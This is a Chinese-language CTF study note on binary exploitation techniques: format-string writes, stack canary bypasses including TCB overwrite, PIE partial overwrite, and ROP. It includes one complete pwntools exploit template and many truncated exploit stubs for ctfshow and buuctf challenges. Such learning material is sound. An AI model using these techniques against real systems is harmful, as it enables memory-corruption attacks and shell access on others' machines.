- 栈溢出
- 格式化字符串
- canary
- PIE绕过
- 爆破pie
- [格式化字符串泄露pie和partial write](#格式化字符串泄露pie和partial write)
- 利用vsyscall地址不变
栈溢出
ret2text
见我的另一篇文章
ret2shellcode
见我的另一篇文章
ret2libc
见我的另一篇文章
ret2syscall
见我的另一篇文章,完全是学长写的,我是勤劳的搬运工
格式化字符串
%n篡改固定地址的变量
见我的另一篇文章(x_32)
x64位————与32的区别
首先我们要补一个b来确定偏移量
例如我们32位是
1
aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
而64位是
1
baaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
由于64位传参,肯定存在被/x00截断的情况,所以我们需要动调一下,其实我们也可以多试几下,假设我们我们泄露出来的是8,真实的也许就是7,9,10等。
动调挺简单我就覆两个图片
先是一下直接泄露的8
换成9,还要加上补位AAA
也许达到这种效果才行吧。
这里直接给模板了
1
2
3
4
5
6
7
8
9
10from pwn import *
context.log_level='debug'
r = remote("node5.buuoj.cn",25959)
#r = process("./mrctf2020_easy_equation")
judge = 0x060105C
payload = b"BB%9$nAAA"+p64(judge) #偏移量这里是9,具体根据实际情况。BB是因为judge要修改成2。#AAA是用来补位的
r.sendline(payload)
r.interactive()
%n篡改printf_got指向system
例题ctfshow pwn95
1 | from pwn import * |
例题 buuctf axb_2019_fmt32
exp
1 | from pwn import * |
canary
爆破
这里有一个模拟canary爆破
模板
1 | from pwn import * |
SSP泄露Canary
ctfshow pwn117
这里主要记录怎么算偏移即buf和__libc_argv[0]的偏移
脚本除了偏移的计算其他都好理解
1 | from pwn import * |
计算过程先
1 | cyclic 100 |
再进行gdb调试先输入cyclic的结果,再通过如下两种方式计算参考
理论上应该是520才对,504可能是本题有点问题。
覆盖截断字符获取Canary
1 | unsigned int ctfshow() |
1 | int backdoor() |
exp
1 | from pwn import * |
格式化字符串劫持__stack_chk_fail指针
1 | from pwn import * |
canary,格式化字符串
见另一篇文章
覆盖TCB来实现对canary的绕过
还是没搞懂,等搞懂了再来写,先留个模板–来自佬的blog。
1 | from pwn import * |
ctfshow pwn89
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | void *__fastcall start(void *a1) |
关键为什么能绕过 canary
正常情况下栈保护是:stack_copy_on_stack
vs stack_guard_in_TCB (fs:0x28)
比较。此处能绕过的关键链条:
- 程序在新线程的栈顶附近放了 TCB,
stack_guard
在那个附近可被写到(实现细节见 glibc 分配策略)。 - 读入的数据长度远大于本地 buffer(允许写穿 buffer 到栈顶区域)。
- 溢出写同时 覆盖了栈上的 canary 副本(stack copy)与 TCB 中的主 canary,把它们都改成攻击者任意的值 → 因为校验比较的两端都被同步改写,于是检查通过。
- 同一次写还能把 saved rbp/ret 等覆盖为攻击者需要的值,从而做 ROP、leak、写二阶段并 pivot 到
.bss
。
换言之:不是“绕过检测逻辑本身”的巧妙 trick,而是“把检测所依赖的参考值(主 canary)用一次大写覆盖成期望值”,从而让检查失效。
1 | from pwn import * |
p64(pop_rdi_ret) + p64(0)
设置 rdi = 0(stdin 文件描述符)为接下来 read 的第一个参数(fd = 0)。
p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)
gadget 做 pop rsi; pop r15; ret:它把 bss_addr 赋给 rsi(第二个参数),并把 0 弹到 r15(只是占位/对齐,r15 在这里不被 read 使用)。
puts泄露canary
见我的另一篇文章和覆盖截断字符获取Canary类似
PIE绕过
爆破pie
模板
1 | from pwn import * |
格式化字符串泄露pie和partial write
推荐个佬的博客(格式化和32位pw)
佬的博客2(64位pw)
64位模板
1 | #!/usr/bin/python3 |
覆盖返回地址的后两个字节转跳到后门函数
1 | ssize_t sub_120E() |
先找到需要转跳的地址
这里是0x126c只要把返回地址后两字节覆盖成0x6c即可
exp:
1 | from pwn import * |
这里再记录一个canary和pie结合的题目
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
1 | unsigned __int64 sub_132F() |
canary用格式化字符串泄露,然后再利用栈溢出来getshell
exp:
1 | from pwn import * |
注释:19泄露的是返回地址,17泄露的是canary的地址
17怎么计算参考上面的格式化字符串泄露canary,canary和返回地址正好相差两个0x08。所以ret_addr的地址是19处。
0x146f和0x122e
1 | .text:00000000000013F9 ; __unwind { |
1 | .text:0000000000001229 ; __unwind { |
利用vsyscall地址不变
记录一下有这个方式,到时候了解了在写